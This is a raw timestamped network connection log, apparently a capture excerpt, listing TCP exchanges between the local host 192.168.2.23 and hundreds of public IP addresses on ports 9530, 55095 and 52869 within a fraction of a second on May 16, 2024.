May 16, 2024 16:38:52.988545895 CEST	9530	55095	83.98.31.195	192.168.2.23
May 16, 2024 16:38:52.988548994 CEST	55095	9530	192.168.2.23	162.196.137.139
May 16, 2024 16:38:52.988550901 CEST	9530	55095	153.168.189.50	192.168.2.23
May 16, 2024 16:38:52.988555908 CEST	9530	55095	201.65.130.162	192.168.2.23
May 16, 2024 16:38:52.988558054 CEST	55095	9530	192.168.2.23	210.172.253.14
May 16, 2024 16:38:52.988569975 CEST	55095	9530	192.168.2.23	191.208.22.173
May 16, 2024 16:38:52.988579988 CEST	55095	9530	192.168.2.23	189.163.244.201
May 16, 2024 16:38:52.988588095 CEST	55095	9530	192.168.2.23	87.188.108.97
May 16, 2024 16:38:52.988588095 CEST	55095	9530	192.168.2.23	75.21.222.245
May 16, 2024 16:38:52.988598108 CEST	55095	9530	192.168.2.23	153.168.189.50
May 16, 2024 16:38:52.988600016 CEST	55095	9530	192.168.2.23	24.119.85.171
May 16, 2024 16:38:52.988606930 CEST	55095	9530	192.168.2.23	83.98.31.195
May 16, 2024 16:38:52.988614082 CEST	55095	9530	192.168.2.23	24.174.0.152
May 16, 2024 16:38:52.988614082 CEST	55095	9530	192.168.2.23	154.223.101.63
May 16, 2024 16:38:52.988614082 CEST	55095	9530	192.168.2.23	201.65.130.162
May 16, 2024 16:38:52.988893986 CEST	39512	52869	192.168.2.23	169.134.210.250
May 16, 2024 16:38:52.989027977 CEST	9530	55095	44.30.100.131	192.168.2.23
May 16, 2024 16:38:52.989039898 CEST	9530	55095	99.169.125.186	192.168.2.23
May 16, 2024 16:38:52.989051104 CEST	9530	55095	189.243.87.39	192.168.2.23
May 16, 2024 16:38:52.989059925 CEST	9530	55095	18.72.244.209	192.168.2.23
May 16, 2024 16:38:52.989070892 CEST	9530	55095	48.94.211.138	192.168.2.23
May 16, 2024 16:38:52.989078999 CEST	9530	55095	186.190.115.91	192.168.2.23
May 16, 2024 16:38:52.989082098 CEST	55095	9530	192.168.2.23	44.30.100.131
May 16, 2024 16:38:52.989084005 CEST	55095	9530	192.168.2.23	189.243.87.39
May 16, 2024 16:38:52.989089966 CEST	9530	55095	63.108.28.91	192.168.2.23
May 16, 2024 16:38:52.989094973 CEST	55095	9530	192.168.2.23	99.169.125.186
May 16, 2024 16:38:52.989097118 CEST	55095	9530	192.168.2.23	18.72.244.209
May 16, 2024 16:38:52.989104986 CEST	9530	55095	12.218.77.246	192.168.2.23
May 16, 2024 16:38:52.989115000 CEST	9530	55095	193.205.193.217	192.168.2.23
May 16, 2024 16:38:52.989123106 CEST	9530	55095	8.146.63.204	192.168.2.23
May 16, 2024 16:38:52.989140034 CEST	55095	9530	192.168.2.23	48.94.211.138
May 16, 2024 16:38:52.989140034 CEST	55095	9530	192.168.2.23	186.190.115.91
May 16, 2024 16:38:52.989140034 CEST	55095	9530	192.168.2.23	63.108.28.91
May 16, 2024 16:38:52.989144087 CEST	9530	55095	107.9.18.135	192.168.2.23
May 16, 2024 16:38:52.989145994 CEST	9530	55095	83.244.57.201	192.168.2.23
May 16, 2024 16:38:52.989151001 CEST	9530	55095	5.20.118.51	192.168.2.23
May 16, 2024 16:38:52.989152908 CEST	9530	55095	49.187.150.31	192.168.2.23
May 16, 2024 16:38:52.989157915 CEST	55095	9530	192.168.2.23	12.218.77.246
May 16, 2024 16:38:52.989161968 CEST	9530	55095	189.5.32.4	192.168.2.23
May 16, 2024 16:38:52.989162922 CEST	55095	9530	192.168.2.23	193.205.193.217
May 16, 2024 16:38:52.989166975 CEST	9530	55095	37.16.101.156	192.168.2.23
May 16, 2024 16:38:52.989171028 CEST	9530	55095	161.34.52.233	192.168.2.23
May 16, 2024 16:38:52.989175081 CEST	55095	9530	192.168.2.23	8.146.63.204
May 16, 2024 16:38:52.989181042 CEST	9530	55095	83.210.137.146	192.168.2.23
May 16, 2024 16:38:52.989183903 CEST	55095	9530	192.168.2.23	5.20.118.51
May 16, 2024 16:38:52.989186049 CEST	55095	9530	192.168.2.23	107.9.18.135
May 16, 2024 16:38:52.989186049 CEST	55095	9530	192.168.2.23	83.244.57.201
May 16, 2024 16:38:52.989192009 CEST	9530	55095	179.163.104.79	192.168.2.23
May 16, 2024 16:38:52.989197016 CEST	55095	9530	192.168.2.23	49.187.150.31
May 16, 2024 16:38:52.989207029 CEST	9530	55095	35.246.91.53	192.168.2.23
May 16, 2024 16:38:52.989209890 CEST	55095	9530	192.168.2.23	189.5.32.4
May 16, 2024 16:38:52.989217043 CEST	9530	55095	25.62.125.41	192.168.2.23
May 16, 2024 16:38:52.989219904 CEST	55095	9530	192.168.2.23	161.34.52.233
May 16, 2024 16:38:52.989224911 CEST	55095	9530	192.168.2.23	83.210.137.146
May 16, 2024 16:38:52.989228010 CEST	9530	55095	153.139.208.206	192.168.2.23
May 16, 2024 16:38:52.989229918 CEST	55095	9530	192.168.2.23	37.16.101.156
May 16, 2024 16:38:52.989238024 CEST	9530	55095	75.223.12.209	192.168.2.23
May 16, 2024 16:38:52.989248037 CEST	9530	55095	27.155.142.217	192.168.2.23
May 16, 2024 16:38:52.989250898 CEST	55095	9530	192.168.2.23	35.246.91.53
May 16, 2024 16:38:52.989252090 CEST	55095	9530	192.168.2.23	25.62.125.41
May 16, 2024 16:38:52.989253998 CEST	55095	9530	192.168.2.23	179.163.104.79
May 16, 2024 16:38:52.989264011 CEST	9530	55095	166.221.80.153	192.168.2.23
May 16, 2024 16:38:52.989268064 CEST	55095	9530	192.168.2.23	75.223.12.209
May 16, 2024 16:38:52.989274025 CEST	9530	55095	90.145.54.157	192.168.2.23
May 16, 2024 16:38:52.989278078 CEST	9530	55095	134.55.146.37	192.168.2.23
May 16, 2024 16:38:52.989280939 CEST	55095	9530	192.168.2.23	27.155.142.217
May 16, 2024 16:38:52.989285946 CEST	9530	55095	8.249.202.139	192.168.2.23
May 16, 2024 16:38:52.989286900 CEST	55095	9530	192.168.2.23	153.139.208.206
May 16, 2024 16:38:52.989300013 CEST	9530	55095	140.174.163.91	192.168.2.23
May 16, 2024 16:38:52.989304066 CEST	9530	55095	101.197.13.90	192.168.2.23
May 16, 2024 16:38:52.989311934 CEST	9530	55095	135.214.127.15	192.168.2.23
May 16, 2024 16:38:52.989315987 CEST	55095	9530	192.168.2.23	90.145.54.157
May 16, 2024 16:38:52.989315987 CEST	55095	9530	192.168.2.23	166.221.80.153
May 16, 2024 16:38:52.989315987 CEST	55095	9530	192.168.2.23	134.55.146.37
May 16, 2024 16:38:52.989324093 CEST	9530	55095	14.108.48.187	192.168.2.23
May 16, 2024 16:38:52.989331961 CEST	9530	55095	32.70.78.194	192.168.2.23
May 16, 2024 16:38:52.989336967 CEST	9530	55095	23.137.86.99	192.168.2.23
May 16, 2024 16:38:52.989341974 CEST	55095	9530	192.168.2.23	140.174.163.91
May 16, 2024 16:38:52.989342928 CEST	55095	9530	192.168.2.23	8.249.202.139
May 16, 2024 16:38:52.989345074 CEST	9530	55095	114.224.4.199	192.168.2.23
May 16, 2024 16:38:52.989347935 CEST	55095	9530	192.168.2.23	101.197.13.90
May 16, 2024 16:38:52.989353895 CEST	9530	55095	172.85.29.223	192.168.2.23
May 16, 2024 16:38:52.989356041 CEST	55095	9530	192.168.2.23	135.214.127.15
May 16, 2024 16:38:52.989368916 CEST	55095	9530	192.168.2.23	14.108.48.187
May 16, 2024 16:38:52.989371061 CEST	9530	55095	190.84.103.81	192.168.2.23
May 16, 2024 16:38:52.989377975 CEST	55095	9530	192.168.2.23	32.70.78.194
May 16, 2024 16:38:52.989379883 CEST	55095	9530	192.168.2.23	23.137.86.99
May 16, 2024 16:38:52.989382982 CEST	9530	55095	69.159.175.194	192.168.2.23
May 16, 2024 16:38:52.989388943 CEST	9530	55095	19.25.172.44	192.168.2.23
May 16, 2024 16:38:52.989393950 CEST	55095	9530	192.168.2.23	172.85.29.223
May 16, 2024 16:38:52.989393950 CEST	9530	55095	40.187.9.157	192.168.2.23
May 16, 2024 16:38:52.989415884 CEST	55095	9530	192.168.2.23	190.84.103.81
May 16, 2024 16:38:52.989415884 CEST	55095	9530	192.168.2.23	69.159.175.194
May 16, 2024 16:38:52.989418030 CEST	55095	9530	192.168.2.23	114.224.4.199
May 16, 2024 16:38:52.989419937 CEST	9530	55095	137.121.23.51	192.168.2.23
May 16, 2024 16:38:52.989439011 CEST	55095	9530	192.168.2.23	19.25.172.44
May 16, 2024 16:38:52.989440918 CEST	9530	55095	82.234.74.38	192.168.2.23
May 16, 2024 16:38:52.989443064 CEST	55095	9530	192.168.2.23	40.187.9.157
May 16, 2024 16:38:52.989445925 CEST	9530	55095	205.140.153.20	192.168.2.23
May 16, 2024 16:38:52.989454985 CEST	55095	9530	192.168.2.23	137.121.23.51
May 16, 2024 16:38:52.989465952 CEST	9530	55095	125.215.91.78	192.168.2.23
May 16, 2024 16:38:52.989469051 CEST	55095	9530	192.168.2.23	82.234.74.38
May 16, 2024 16:38:52.989475965 CEST	9530	55095	115.22.214.69	192.168.2.23
May 16, 2024 16:38:52.989475965 CEST	55095	9530	192.168.2.23	205.140.153.20
May 16, 2024 16:38:52.989485025 CEST	9530	55095	185.126.170.155	192.168.2.23
May 16, 2024 16:38:52.989495039 CEST	9530	55095	116.98.94.25	192.168.2.23
May 16, 2024 16:38:52.989499092 CEST	55095	9530	192.168.2.23	125.215.91.78
May 16, 2024 16:38:52.989507914 CEST	55095	9530	192.168.2.23	115.22.214.69
May 16, 2024 16:38:52.989526033 CEST	55095	9530	192.168.2.23	185.126.170.155
May 16, 2024 16:38:52.989531994 CEST	55095	9530	192.168.2.23	116.98.94.25
May 16, 2024 16:38:52.989886999 CEST	50792	52869	192.168.2.23	222.221.120.15
May 16, 2024 16:38:52.990446091 CEST	9530	55095	115.54.48.2	192.168.2.23
May 16, 2024 16:38:52.990456104 CEST	9530	55095	46.179.26.90	192.168.2.23
May 16, 2024 16:38:52.990467072 CEST	9530	55095	102.45.150.16	192.168.2.23
May 16, 2024 16:38:52.990480900 CEST	9530	55095	221.236.106.240	192.168.2.23
May 16, 2024 16:38:52.990483999 CEST	55095	9530	192.168.2.23	115.54.48.2
May 16, 2024 16:38:52.990487099 CEST	9530	55095	223.23.36.145	192.168.2.23
May 16, 2024 16:38:52.990492105 CEST	9530	55095	85.26.136.30	192.168.2.23
May 16, 2024 16:38:52.990498066 CEST	9530	55095	122.190.44.254	192.168.2.23
May 16, 2024 16:38:52.990502119 CEST	9530	55095	148.189.155.138	192.168.2.23
May 16, 2024 16:38:52.990506887 CEST	9530	55095	131.59.106.230	192.168.2.23
May 16, 2024 16:38:52.990509033 CEST	9530	55095	167.117.206.198	192.168.2.23
May 16, 2024 16:38:52.990506887 CEST	55095	9530	192.168.2.23	46.179.26.90
May 16, 2024 16:38:52.990506887 CEST	55095	9530	192.168.2.23	102.45.150.16
May 16, 2024 16:38:52.990511894 CEST	9530	55095	210.190.107.175	192.168.2.23
May 16, 2024 16:38:52.990515947 CEST	9530	55095	131.83.98.41	192.168.2.23
May 16, 2024 16:38:52.990516901 CEST	55095	9530	192.168.2.23	221.236.106.240
May 16, 2024 16:38:52.990521908 CEST	9530	55095	212.43.83.243	192.168.2.23
May 16, 2024 16:38:52.990524054 CEST	9530	55095	139.26.112.131	192.168.2.23
May 16, 2024 16:38:52.990525961 CEST	9530	55095	141.201.12.163	192.168.2.23
May 16, 2024 16:38:52.990526915 CEST	9530	55095	54.187.219.184	192.168.2.23
May 16, 2024 16:38:52.990529060 CEST	9530	55095	58.134.127.136	192.168.2.23
May 16, 2024 16:38:52.990530014 CEST	9530	55095	1.145.136.18	192.168.2.23
May 16, 2024 16:38:52.990531921 CEST	9530	55095	37.62.9.226	192.168.2.23
May 16, 2024 16:38:52.990533113 CEST	9530	55095	2.68.166.25	192.168.2.23
May 16, 2024 16:38:52.990545034 CEST	55095	9530	192.168.2.23	131.59.106.230
May 16, 2024 16:38:52.990545988 CEST	55095	9530	192.168.2.23	210.190.107.175
May 16, 2024 16:38:52.990544081 CEST	55095	9530	192.168.2.23	85.26.136.30
May 16, 2024 16:38:52.990556955 CEST	55095	9530	192.168.2.23	139.26.112.131
May 16, 2024 16:38:52.990562916 CEST	55095	9530	192.168.2.23	122.190.44.254
May 16, 2024 16:38:52.990571022 CEST	55095	9530	192.168.2.23	37.62.9.226
May 16, 2024 16:38:52.990571022 CEST	55095	9530	192.168.2.23	223.23.36.145
May 16, 2024 16:38:52.990571976 CEST	55095	9530	192.168.2.23	141.201.12.163
May 16, 2024 16:38:52.990573883 CEST	55095	9530	192.168.2.23	58.134.127.136
May 16, 2024 16:38:52.990586996 CEST	55095	9530	192.168.2.23	1.145.136.18
May 16, 2024 16:38:52.990586996 CEST	55095	9530	192.168.2.23	2.68.166.25
May 16, 2024 16:38:52.990592003 CEST	55095	9530	192.168.2.23	148.189.155.138
May 16, 2024 16:38:52.990598917 CEST	55095	9530	192.168.2.23	167.117.206.198
May 16, 2024 16:38:52.990603924 CEST	55095	9530	192.168.2.23	131.83.98.41
May 16, 2024 16:38:52.990634918 CEST	55095	9530	192.168.2.23	212.43.83.243
May 16, 2024 16:38:52.990652084 CEST	55095	9530	192.168.2.23	54.187.219.184
May 16, 2024 16:38:52.991153955 CEST	9530	55095	152.219.189.136	192.168.2.23
May 16, 2024 16:38:52.991164923 CEST	9530	55095	216.182.239.94	192.168.2.23
May 16, 2024 16:38:52.991177082 CEST	9530	55095	155.88.124.110	192.168.2.23
May 16, 2024 16:38:52.991187096 CEST	9530	55095	52.233.150.250	192.168.2.23
May 16, 2024 16:38:52.991187096 CEST	55095	9530	192.168.2.23	152.219.189.136
May 16, 2024 16:38:52.991192102 CEST	9530	55095	1.51.163.111	192.168.2.23
May 16, 2024 16:38:52.991204023 CEST	9530	55095	119.125.156.63	192.168.2.23
May 16, 2024 16:38:52.991205931 CEST	9530	55095	88.189.54.235	192.168.2.23
May 16, 2024 16:38:52.991210938 CEST	9530	55095	196.188.72.12	192.168.2.23
May 16, 2024 16:38:52.991214037 CEST	9530	55095	53.242.149.108	192.168.2.23
May 16, 2024 16:38:52.991216898 CEST	9530	55095	90.43.175.36	192.168.2.23
May 16, 2024 16:38:52.991224051 CEST	9530	55095	64.148.79.176	192.168.2.23
May 16, 2024 16:38:52.991225958 CEST	9530	55095	220.81.173.76	192.168.2.23
May 16, 2024 16:38:52.991226912 CEST	55095	9530	192.168.2.23	216.182.239.94
May 16, 2024 16:38:52.991228104 CEST	9530	55095	156.159.111.168	192.168.2.23
May 16, 2024 16:38:52.991239071 CEST	9530	55095	171.180.97.78	192.168.2.23
May 16, 2024 16:38:52.991245985 CEST	55095	9530	192.168.2.23	88.189.54.235
May 16, 2024 16:38:52.991246939 CEST	55095	9530	192.168.2.23	155.88.124.110
May 16, 2024 16:38:52.991247892 CEST	55095	9530	192.168.2.23	1.51.163.111
May 16, 2024 16:38:52.991247892 CEST	55095	9530	192.168.2.23	52.233.150.250
May 16, 2024 16:38:52.991247892 CEST	55095	9530	192.168.2.23	119.125.156.63
May 16, 2024 16:38:52.991252899 CEST	9530	55095	115.101.152.203	192.168.2.23
May 16, 2024 16:38:52.991254091 CEST	55095	9530	192.168.2.23	196.188.72.12
May 16, 2024 16:38:52.991260052 CEST	9530	55095	61.247.128.139	192.168.2.23
May 16, 2024 16:38:52.991266012 CEST	9530	55095	177.23.157.121	192.168.2.23
May 16, 2024 16:38:52.991267920 CEST	55095	9530	192.168.2.23	90.43.175.36
May 16, 2024 16:38:52.991267920 CEST	9530	55095	103.232.136.189	192.168.2.23
May 16, 2024 16:38:52.991267920 CEST	55095	9530	192.168.2.23	64.148.79.176
May 16, 2024 16:38:52.991276979 CEST	9530	55095	47.207.76.5	192.168.2.23
May 16, 2024 16:38:52.991278887 CEST	9530	55095	131.6.41.81	192.168.2.23
May 16, 2024 16:38:52.991282940 CEST	55095	9530	192.168.2.23	53.242.149.108
May 16, 2024 16:38:52.991283894 CEST	55095	9530	192.168.2.23	156.159.111.168
May 16, 2024 16:38:52.991297960 CEST	55095	9530	192.168.2.23	171.180.97.78
May 16, 2024 16:38:52.991298914 CEST	55095	9530	192.168.2.23	220.81.173.76
May 16, 2024 16:38:52.991297960 CEST	55095	9530	192.168.2.23	177.23.157.121
May 16, 2024 16:38:52.991298914 CEST	55095	9530	192.168.2.23	61.247.128.139
May 16, 2024 16:38:52.991301060 CEST	55095	9530	192.168.2.23	115.101.152.203
May 16, 2024 16:38:52.991306067 CEST	55095	9530	192.168.2.23	131.6.41.81
May 16, 2024 16:38:52.991308928 CEST	55095	9530	192.168.2.23	47.207.76.5
May 16, 2024 16:38:52.991328955 CEST	55095	9530	192.168.2.23	103.232.136.189
May 16, 2024 16:38:52.991719961 CEST	9530	55095	104.80.7.119	192.168.2.23
May 16, 2024 16:38:52.991731882 CEST	9530	55095	101.27.28.180	192.168.2.23
May 16, 2024 16:38:52.991741896 CEST	9530	55095	141.75.157.181	192.168.2.23
May 16, 2024 16:38:52.991744995 CEST	55095	9530	192.168.2.23	104.80.7.119
May 16, 2024 16:38:52.991753101 CEST	9530	55095	149.114.100.194	192.168.2.23
May 16, 2024 16:38:52.991763115 CEST	9530	55095	46.101.7.235	192.168.2.23
May 16, 2024 16:38:52.991772890 CEST	9530	55095	60.4.107.174	192.168.2.23
May 16, 2024 16:38:52.991780996 CEST	55095	9530	192.168.2.23	101.27.28.180
May 16, 2024 16:38:52.991781950 CEST	9530	55095	39.11.248.243	192.168.2.23
May 16, 2024 16:38:52.991781950 CEST	55095	9530	192.168.2.23	149.114.100.194
May 16, 2024 16:38:52.991791964 CEST	55095	9530	192.168.2.23	46.101.7.235
May 16, 2024 16:38:52.991800070 CEST	55095	9530	192.168.2.23	60.4.107.174
May 16, 2024 16:38:52.991810083 CEST	9530	55095	45.169.163.236	192.168.2.23
May 16, 2024 16:38:52.991816044 CEST	9530	55095	73.205.117.3	192.168.2.23
May 16, 2024 16:38:52.991822004 CEST	9530	55095	222.113.56.192	192.168.2.23
May 16, 2024 16:38:52.991827965 CEST	9530	55095	13.169.202.10	192.168.2.23
May 16, 2024 16:38:52.991832972 CEST	9530	55095	53.31.48.131	192.168.2.23
May 16, 2024 16:38:52.991837978 CEST	9530	55095	202.97.247.227	192.168.2.23
May 16, 2024 16:38:52.991842031 CEST	9530	55095	17.25.72.162	192.168.2.23
May 16, 2024 16:38:52.991847038 CEST	9530	55095	74.147.192.76	192.168.2.23
May 16, 2024 16:38:52.991851091 CEST	9530	55095	140.154.77.8	192.168.2.23
May 16, 2024 16:38:52.991856098 CEST	9530	55095	183.7.209.70	192.168.2.23
May 16, 2024 16:38:52.991857052 CEST	55095	9530	192.168.2.23	222.113.56.192
May 16, 2024 16:38:52.991858006 CEST	55095	9530	192.168.2.23	73.205.117.3
May 16, 2024 16:38:52.991861105 CEST	9530	55095	110.188.116.223	192.168.2.23
May 16, 2024 16:38:52.991863012 CEST	9530	55095	37.198.140.203	192.168.2.23
May 16, 2024 16:38:52.991862059 CEST	55095	9530	192.168.2.23	53.31.48.131
May 16, 2024 16:38:52.991867065 CEST	9530	55095	201.34.88.197	192.168.2.23
May 16, 2024 16:38:52.991868019 CEST	9530	55095	38.154.94.29	192.168.2.23
May 16, 2024 16:38:52.991880894 CEST	55095	9530	192.168.2.23	141.75.157.181
May 16, 2024 16:38:52.991880894 CEST	55095	9530	192.168.2.23	39.11.248.243
May 16, 2024 16:38:52.991880894 CEST	55095	9530	192.168.2.23	74.147.192.76
May 16, 2024 16:38:52.991883039 CEST	9530	55095	12.104.227.35	192.168.2.23
May 16, 2024 16:38:52.991880894 CEST	55095	9530	192.168.2.23	45.169.163.236
May 16, 2024 16:38:52.991884947 CEST	55095	9530	192.168.2.23	13.169.202.10
May 16, 2024 16:38:52.991894960 CEST	55095	9530	192.168.2.23	37.198.140.203
May 16, 2024 16:38:52.991900921 CEST	9530	55095	184.155.112.81	192.168.2.23
May 16, 2024 16:38:52.991902113 CEST	55095	9530	192.168.2.23	202.97.247.227
May 16, 2024 16:38:52.991902113 CEST	55095	9530	192.168.2.23	201.34.88.197
May 16, 2024 16:38:52.991905928 CEST	55095	9530	192.168.2.23	17.25.72.162
May 16, 2024 16:38:52.991905928 CEST	55095	9530	192.168.2.23	183.7.209.70
May 16, 2024 16:38:52.991905928 CEST	55095	9530	192.168.2.23	110.188.116.223
May 16, 2024 16:38:52.991914034 CEST	9530	55095	205.205.247.1	192.168.2.23
May 16, 2024 16:38:52.991914034 CEST	55095	9530	192.168.2.23	38.154.94.29
May 16, 2024 16:38:52.991918087 CEST	55095	9530	192.168.2.23	140.154.77.8
May 16, 2024 16:38:52.991923094 CEST	9530	55095	18.123.154.170	192.168.2.23
May 16, 2024 16:38:52.991929054 CEST	55095	9530	192.168.2.23	12.104.227.35
May 16, 2024 16:38:52.991931915 CEST	55095	9530	192.168.2.23	184.155.112.81
May 16, 2024 16:38:52.991933107 CEST	9530	55095	147.42.99.65	192.168.2.23
May 16, 2024 16:38:52.991947889 CEST	55095	9530	192.168.2.23	205.205.247.1
May 16, 2024 16:38:52.991950035 CEST	9530	55095	76.140.58.37	192.168.2.23
May 16, 2024 16:38:52.991955996 CEST	9530	55095	194.163.77.158	192.168.2.23
May 16, 2024 16:38:52.991960049 CEST	55095	9530	192.168.2.23	18.123.154.170
May 16, 2024 16:38:52.991961002 CEST	9530	55095	95.2.157.242	192.168.2.23
May 16, 2024 16:38:52.991962910 CEST	9530	55095	86.0.253.82	192.168.2.23
May 16, 2024 16:38:52.991969109 CEST	9530	55095	112.113.112.244	192.168.2.23
May 16, 2024 16:38:52.991970062 CEST	9530	55095	107.122.214.162	192.168.2.23
May 16, 2024 16:38:52.991971970 CEST	9530	55095	186.182.231.130	192.168.2.23
May 16, 2024 16:38:52.991976976 CEST	9530	55095	75.3.233.51	192.168.2.23
May 16, 2024 16:38:52.991981983 CEST	9530	55095	23.206.188.116	192.168.2.23
May 16, 2024 16:38:52.991987944 CEST	9530	55095	211.186.180.137	192.168.2.23
May 16, 2024 16:38:52.991991997 CEST	9530	55095	51.205.53.112	192.168.2.23
May 16, 2024 16:38:52.991997004 CEST	44896	52869	192.168.2.23	223.87.183.87
May 16, 2024 16:38:52.991997004 CEST	9530	55095	42.4.170.252	192.168.2.23
May 16, 2024 16:38:52.991997004 CEST	55095	9530	192.168.2.23	147.42.99.65
May 16, 2024 16:38:52.991997004 CEST	55095	9530	192.168.2.23	194.163.77.158
May 16, 2024 16:38:52.992001057 CEST	55095	9530	192.168.2.23	95.2.157.242
May 16, 2024 16:38:52.992002010 CEST	55095	9530	192.168.2.23	76.140.58.37
May 16, 2024 16:38:52.992002964 CEST	9530	55095	153.144.228.255	192.168.2.23
May 16, 2024 16:38:52.992007017 CEST	9530	55095	53.193.113.77	192.168.2.23
May 16, 2024 16:38:52.992008924 CEST	9530	55095	38.11.217.24	192.168.2.23
May 16, 2024 16:38:52.992011070 CEST	55095	9530	192.168.2.23	23.206.188.116
May 16, 2024 16:38:52.992011070 CEST	55095	9530	192.168.2.23	51.205.53.112
May 16, 2024 16:38:52.992017031 CEST	55095	9530	192.168.2.23	112.113.112.244
May 16, 2024 16:38:52.992022991 CEST	55095	9530	192.168.2.23	86.0.253.82
May 16, 2024 16:38:52.992033958 CEST	55095	9530	192.168.2.23	186.182.231.130
May 16, 2024 16:38:52.992039919 CEST	55095	9530	192.168.2.23	75.3.233.51
May 16, 2024 16:38:52.992042065 CEST	55095	9530	192.168.2.23	211.186.180.137
May 16, 2024 16:38:52.992043972 CEST	55095	9530	192.168.2.23	153.144.228.255
May 16, 2024 16:38:52.992043972 CEST	55095	9530	192.168.2.23	38.11.217.24
May 16, 2024 16:38:52.992050886 CEST	55095	9530	192.168.2.23	42.4.170.252
May 16, 2024 16:38:52.992054939 CEST	55095	9530	192.168.2.23	107.122.214.162
May 16, 2024 16:38:52.992054939 CEST	55095	9530	192.168.2.23	53.193.113.77
May 16, 2024 16:38:52.992302895 CEST	9530	55095	163.9.188.39	192.168.2.23
May 16, 2024 16:38:52.992317915 CEST	9530	55095	48.175.197.229	192.168.2.23
May 16, 2024 16:38:52.992320061 CEST	9530	55095	126.106.47.134	192.168.2.23
May 16, 2024 16:38:52.992325068 CEST	9530	55095	77.157.14.159	192.168.2.23
May 16, 2024 16:38:52.992331028 CEST	9530	55095	75.196.108.174	192.168.2.23
May 16, 2024 16:38:52.992336988 CEST	9530	55095	222.30.2.84	192.168.2.23
May 16, 2024 16:38:52.992337942 CEST	55095	9530	192.168.2.23	163.9.188.39
May 16, 2024 16:38:52.992341995 CEST	55095	9530	192.168.2.23	48.175.197.229
May 16, 2024 16:38:52.992342949 CEST	9530	55095	81.137.184.196	192.168.2.23
May 16, 2024 16:38:52.992348909 CEST	9530	55095	49.172.137.7	192.168.2.23
May 16, 2024 16:38:52.992353916 CEST	9530	55095	122.188.212.128	192.168.2.23
May 16, 2024 16:38:52.992358923 CEST	9530	55095	97.44.29.111	192.168.2.23
May 16, 2024 16:38:52.992363930 CEST	9530	55095	31.249.50.208	192.168.2.23
May 16, 2024 16:38:52.992364883 CEST	9530	55095	31.59.1.21	192.168.2.23
May 16, 2024 16:38:52.992369890 CEST	9530	55095	44.159.249.193	192.168.2.23
May 16, 2024 16:38:52.992372036 CEST	9530	55095	133.126.241.192	192.168.2.23
May 16, 2024 16:38:52.992376089 CEST	9530	55095	75.9.163.25	192.168.2.23
May 16, 2024 16:38:52.992379904 CEST	9530	55095	62.37.9.172	192.168.2.23
May 16, 2024 16:38:52.992384911 CEST	9530	55095	133.11.128.254	192.168.2.23
May 16, 2024 16:38:52.992388964 CEST	9530	55095	75.105.208.196	192.168.2.23
May 16, 2024 16:38:52.992391109 CEST	55095	9530	192.168.2.23	49.172.137.7
May 16, 2024 16:38:52.992392063 CEST	55095	9530	192.168.2.23	126.106.47.134
May 16, 2024 16:38:52.992393970 CEST	9530	55095	120.14.211.122	192.168.2.23
May 16, 2024 16:38:52.992396116 CEST	55095	9530	192.168.2.23	81.137.184.196
May 16, 2024 16:38:52.992396116 CEST	55095	9530	192.168.2.23	122.188.212.128
May 16, 2024 16:38:52.992398024 CEST	55095	9530	192.168.2.23	77.157.14.159
May 16, 2024 16:38:52.992398024 CEST	55095	9530	192.168.2.23	75.196.108.174
May 16, 2024 16:38:52.992398024 CEST	55095	9530	192.168.2.23	31.249.50.208
May 16, 2024 16:38:52.992402077 CEST	9530	55095	149.209.146.150	192.168.2.23
May 16, 2024 16:38:52.992414951 CEST	55095	9530	192.168.2.23	31.59.1.21
May 16, 2024 16:38:52.992414951 CEST	55095	9530	192.168.2.23	44.159.249.193
May 16, 2024 16:38:52.992422104 CEST	55095	9530	192.168.2.23	62.37.9.172
May 16, 2024 16:38:52.992422104 CEST	55095	9530	192.168.2.23	97.44.29.111
May 16, 2024 16:38:52.992424011 CEST	55095	9530	192.168.2.23	133.126.241.192
May 16, 2024 16:38:52.992425919 CEST	55095	9530	192.168.2.23	222.30.2.84
May 16, 2024 16:38:52.992425919 CEST	55095	9530	192.168.2.23	75.9.163.25
May 16, 2024 16:38:52.992425919 CEST	55095	9530	192.168.2.23	133.11.128.254
May 16, 2024 16:38:52.992445946 CEST	55095	9530	192.168.2.23	149.209.146.150
May 16, 2024 16:38:52.992449045 CEST	55095	9530	192.168.2.23	75.105.208.196
May 16, 2024 16:38:52.992451906 CEST	55095	9530	192.168.2.23	120.14.211.122
May 16, 2024 16:38:52.992825985 CEST	9530	55095	179.110.165.218	192.168.2.23
May 16, 2024 16:38:52.992841959 CEST	9530	55095	114.239.143.110	192.168.2.23
May 16, 2024 16:38:52.992847919 CEST	9530	55095	208.213.77.223	192.168.2.23
May 16, 2024 16:38:52.992854118 CEST	9530	55095	211.74.55.119	192.168.2.23
May 16, 2024 16:38:52.992855072 CEST	55095	9530	192.168.2.23	179.110.165.218
May 16, 2024 16:38:52.992858887 CEST	9530	55095	195.228.204.247	192.168.2.23
May 16, 2024 16:38:52.992866039 CEST	9530	55095	206.59.133.160	192.168.2.23
May 16, 2024 16:38:52.992871046 CEST	9530	55095	25.185.117.147	192.168.2.23
May 16, 2024 16:38:52.992872000 CEST	55095	9530	192.168.2.23	114.239.143.110
May 16, 2024 16:38:52.992875099 CEST	9530	55095	204.110.189.47	192.168.2.23
May 16, 2024 16:38:52.992880106 CEST	9530	55095	189.52.111.55	192.168.2.23
May 16, 2024 16:38:52.992885113 CEST	9530	55095	121.92.130.181	192.168.2.23
May 16, 2024 16:38:52.992898941 CEST	55095	9530	192.168.2.23	204.110.189.47
May 16, 2024 16:38:52.992899895 CEST	55095	9530	192.168.2.23	211.74.55.119
May 16, 2024 16:38:52.992899895 CEST	9530	55095	32.160.139.109	192.168.2.23
May 16, 2024 16:38:52.992899895 CEST	55095	9530	192.168.2.23	25.185.117.147
May 16, 2024 16:38:52.992902040 CEST	9530	55095	135.145.210.114	192.168.2.23
May 16, 2024 16:38:52.992907047 CEST	9530	55095	156.151.17.24	192.168.2.23
May 16, 2024 16:38:52.992912054 CEST	9530	55095	75.197.170.120	192.168.2.23
May 16, 2024 16:38:52.992914915 CEST	55095	9530	192.168.2.23	208.213.77.223
May 16, 2024 16:38:52.992917061 CEST	9530	55095	123.162.44.181	192.168.2.23
May 16, 2024 16:38:52.992923021 CEST	9530	55095	123.184.200.116	192.168.2.23
May 16, 2024 16:38:52.992923975 CEST	9530	55095	70.34.97.76	192.168.2.23
May 16, 2024 16:38:52.992928982 CEST	9530	55095	54.41.31.11	192.168.2.23
May 16, 2024 16:38:52.992932081 CEST	9530	55095	45.159.80.190	192.168.2.23
May 16, 2024 16:38:52.992934942 CEST	55095	9530	192.168.2.23	195.228.204.247
